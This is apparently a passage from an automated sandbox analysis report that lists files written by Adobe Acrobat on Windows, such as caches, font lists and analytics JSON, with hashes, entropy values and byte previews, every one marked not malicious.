MD5:	43AB1FA3D7200BCF711AA9205FB02BD9
SHA1:	6AA0575954A99019B937C0C3C477771D733F144E
SHA-256:	577E748AA4DF0DF6A9D308E2CB2EAF0E43FD13367F081055E90804529C086BCB
SHA-512:	A206A93F95336BCAC3423DA97D6DAE78D54C4D6BDD2DF13D96E7E228C43A11F5043B4819441036234BA0F2CEDB4E433D0ADF23FBB64014358C1E4A9B529F9A21
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7728749893246882
Encrypted:	false
SSDEEP:	48:7MTp/E2ioyVxioy9oWoy1Cwoy1dKOioy1noy1AYoy1Wioy1hioybioydoy1noy1v:7UpjuxFEXKQgdb9IVXEBodRBkN
MD5:	11E8DA62C8A2C1C81A5F1A0B958AE0C0
SHA1:	3ECD4CE27EBAA6AAFDF82664E981851B4025488A
SHA-256:	D9BD24F5541595EA679EBA2BAA4784C39DDA01B36B618A8848A09AEECFBD9E56
SHA-512:	133426EDF10032365F93FADF272248C50F13DAB614F5AE3ADB42FA72AD7DC01345F274AA421D78009328238985331A9AF56A7EF968A845537EC4BE7106FBEC10
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl9Bb8tfllXlE/HT8kBlrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKfeT8upNMa8RdWBwRd
MD5:	917C78F250D986AE6DE2FA5C7510C9E5
SHA1:	E4D4E0BEA2564EE5941E129991A5FA313ADEAE1F
SHA-256:	C0075982CA21C7C2D55BB0B2370662B0836DA9AB7483DE8A6B269B793D6931D3
SHA-512:	EEE34DC7BC4901252A4AE3284B40B0438D0B2B50F6D312AE3931FBB9A2C952C50B2ABC45D4FA1B9CF1F954F468EB153F7DB0127FC9796B8630DB70B5B7E5E6CC
Malicious:	false
Preview:	p...... .........$[..c..(....................................................... ..........W.....L..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKlaEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:IsiDImsLNkPlE99SNxAhUe/3
MD5:	2EBB0FA24E6FF5FEEC486F4ABB7B45DD
SHA1:	F3133A606F98251B0ED86E0F7B48D7B9EE0D5285
SHA-256:	A0A81A036326974C6E5614EF8B4CBFD72E65F2C857218B82BB1A736A1C7A607B
SHA-512:	7739944695FD3E35B115DA7D8BDAEF6B8325028FE395EDFBF9F1F4B8C7F3A3F4C29A1AC6E9CADED882C4B2E8E9937256B33E8021D85BC1969DCBA7AD4CFAEF5C
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359714028217244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJM3g98kUwPeUkwRe9:YvXKXUZnEZc0vADnGMbLUkee9
MD5:	AC33E4792867BE86D9EF2F004C01E65E
SHA1:	BB8C1286125AC6C06313C3AEF647913B3151AFD2
SHA-256:	F856665A9E95FEFA308A5CB9540F1303647509405EDF5B7FB28DEBCE4C8A2EB1
SHA-512:	3F5D5D5971D2E1BAF3A0513C530CA913D09AEA97A9551C399A21D6E65E75470E6E316E3E0948072A8271ED6106C1317323F1178A11361B7B6DBCF9019BD1B487
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306260851599745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfBoTfXpnrPeUkwRe9:YvXKXUZnEZc0vADnGWTfXcUkee9
MD5:	5BC43372A455EE54945CC34604E079BB
SHA1:	F7C828A9D5855D4A68C59E0ABD57479BEF14E003
SHA-256:	B382E6288874A6AB087B4666CC1F03BE7D0794845CEE457F57D83B784FA4DF30
SHA-512:	871FF5121BA32D0D3BBA009A771FC4E5B919CB19D8707F40DD0C9D01B75476C028541A4B47BE6D8CDCAA1A645122318BF6A454D11793639C6EDB8656B613BE92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284809168125751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfBD2G6UpnrPeUkwRe9:YvXKXUZnEZc0vADnGR22cUkee9
MD5:	0870B1AB1ED115C458224B4420327609
SHA1:	F7698F2FAE6962D6871DBE80787BF8584E1B16B9
SHA-256:	171DFC4DDA9305EBD1925F7F15BC6E9929BA3B24BCBE4B57872C5075AA6D7A3D
SHA-512:	102513D305B283CF7B73CD79C06DA43BAE15116F622D8C9C0E979318DCC74E48FC57440FC22DBE4CA4ACC6644410FC310712470A147AA148BB64D286C4DB2599
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346596486759773
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfPmwrPeUkwRe9:YvXKXUZnEZc0vADnGH56Ukee9
MD5:	B2D9AFA5A40F79853ED5CC8736D7377D
SHA1:	59C980F1EB589FE7E95884A267753465398C0441
SHA-256:	747AF1651FE5EB9386A0265A888E0F3427FBF28864B27C6831EA0F81A5CBDBFA
SHA-512:	FBFCE168C40DA38F0B0314E2DFFDA462484589BC2E658EA2C70A78770481AA1B1C398BBC2C71F1988ACDEB96D3E3EE7D2EFDFA0C900C41E077CB5EA16097DD81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684608223556839
Encrypted:	false
SSDEEP:	24:Yv6XkEzvA4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSt1:YvfM44hgy6SAFv5Ah8cv/j
MD5:	7259449A5A8B04D97CE27AB97EA9804A
SHA1:	71E1D569FDBEB86C17ADB014A1D06D0EFC697459
SHA-256:	3D2EF1A16E29DB18A29A0669866016282BBB23CFDDC843BBC40E0DCDF9A5F491
SHA-512:	A6F51B46CC64CF2EA574EC8C071C37047B3FF8C6C7B8F380706A88F2C62E56AF160AED928364378DFD3DA54EB0143EC99A7E85A9135DBD43C541026E3A150FEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291218824465199
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJf8dPeUkwRe9:YvXKXUZnEZc0vADnGU8Ukee9
MD5:	6AA22D8420F2179A7D6C2255F1C457EC
SHA1:	B25FBFA28F7BC7B0AD3862F99944E7DC34B79FA1
SHA-256:	35B178FCFD349C6334C7630B2D998B23944A1116E6DFE18A3407D8676DF4B73D
SHA-512:	F450A87FAA45B72D38BA54BC4333F5B3EABDF96AB338AFCF44D9E7D3C690660F0F974F88617368E695A6F3837147759A07F39ED997837259AD825354A7193326
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.295775103770408
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfQ1rPeUkwRe9:YvXKXUZnEZc0vADnGY16Ukee9
MD5:	E5AC4BE129746F109504D99DF44E6BFA
SHA1:	BFF49E954FC999BC04B001F9CBD3B060A677ED80
SHA-256:	A33E13BEC9AD679C0AB99F3FEB6736543D040398ACBAE691832074FAFE4B9EF7
SHA-512:	5103A0027428997D0D98102A6577F7CCD99345B5EDFFFD663915CDF121B323441FCE0A08DED45BEECB6DB61A73638938FD7AA4EA42E9BA98CA932D7CF57F282A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30052190852261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfFldPeUkwRe9:YvXKXUZnEZc0vADnGz8Ukee9
MD5:	ACA7297C266BB2718DFDFC1CF0550021
SHA1:	92FF190060F38973234F01198D1CA593FF5E2AC0
SHA-256:	8242E220D0E8271EB75CCAE3BD6BF73FCF9EEBE391507A1CC79F792ED785429A
